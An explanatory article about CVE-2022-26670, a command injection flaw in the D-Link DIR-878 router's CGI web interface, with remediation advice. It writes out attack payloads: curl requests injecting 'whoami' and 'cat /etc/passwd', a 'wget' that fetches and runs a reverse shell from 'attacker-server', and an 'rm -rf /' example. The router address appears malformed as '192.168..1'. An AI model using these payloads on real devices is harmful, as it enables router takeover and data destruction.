Your home network’s security often depends on the safety of your router. So what happens when a simple mistake in its web interface gives attackers full control? That’s exactly what happened with the D-Link DIR-878 router thanks to a vulnerability known as CVE-2022-26670.

In this article, we’ll break down what makes this flaw dangerous, show you how it can be exploited, provide easy-to-follow code samples, and share links to the original disclosures. The goal: to help you understand why firmware updates matter and how even a single security bug can be a doorway for attackers.

What is CVE-2022-26670?

CVE-2022-26670 is a command injection vulnerability in the web interface of the D-Link DIR-878 wireless router. Specifically, the web form did not properly filter out special characters, which allowed anyone on the local network to run commands with root privileges.

If you had physical or network access to the LAN side (even as a guest or visitor), you could send a specially crafted HTTP request, and the router might blindly execute your commands.

A Look at the Vulnerable Code

The D-Link DIR-878 web interface’s backend uses CGI scripts to process web form input. For example, it might call system utilities using user input like this (simplified for clarity):

char buffer[256];
snprintf(buffer, sizeof(buffer), "/usr/bin/mycommand %s", user_input);
system(buffer);

When the input is not sanitized, an attacker can inject new shell commands using a semicolon (;), like:

foo; rm -rf /

The code would then run both mycommand foo and rm -rf /, potentially destroying the file system.

1. Find the Vulnerable Endpoint

The vulnerable CGI file is typically something like http://192.168..1/cgi-bin/command.cgi.

2. Craft the Malicious Request

You can use tools like curl or even just your browser (for simple payloads). Here’s an example curl command to inject a command whoami (which shows current user):

curl -d "cmd=ping;whoami" http://192.168..1/cgi-bin/command.cgi

If the vulnerability is present, you’d get back a response with the router’s system user—likely root.

3. Achieve Complete Control

You can insert anything your imagination (and the system’s permissions) allows. For example, to make the router fetch and run a backdoor:

curl -d "cmd=ping;wget http://attacker-server/revshell.sh -O /tmp/revshell.sh;sh /tmp/revshell.sh" http://192.168..1/cgi-bin/command.cgi

Basic test using curl

curl -d "command=; cat /etc/passwd" http://192.168..1/cgi-bin/command.cgi

If you see a list of system users in the response, your router is vulnerable!

- Original advisory
- Official D-Link Security Advisory
- Exploit Database Writeup (EDB-ID: 50993)
- Packet Storm: D-Link DIR-878 R1 Command Injection

- Never leave management interfaces open to untrusted networks. Restrict router admin access to trusted devices only.
- Use a secure LAN network. Don’t let guests onto your main network, and separate IoT devices as best as possible.

Conclusion

The CVE-2022-26670 bug in the D-Link DIR-878 is a shining example of how a simple lack of input filtering can have a massive security effect. All it takes is a few misplaced characters and suddenly your entire home network can be compromised.

If you use this router—or any other D-Link device—check for firmware updates regularly and stay informed about security advisories. Remember: when it comes to keeping your network safe, vigilance beats convenience.

Timeline

Published on: 04/07/2022 19:15:00 UTC
Last modified on: 04/14/2022 18:37:00 UTC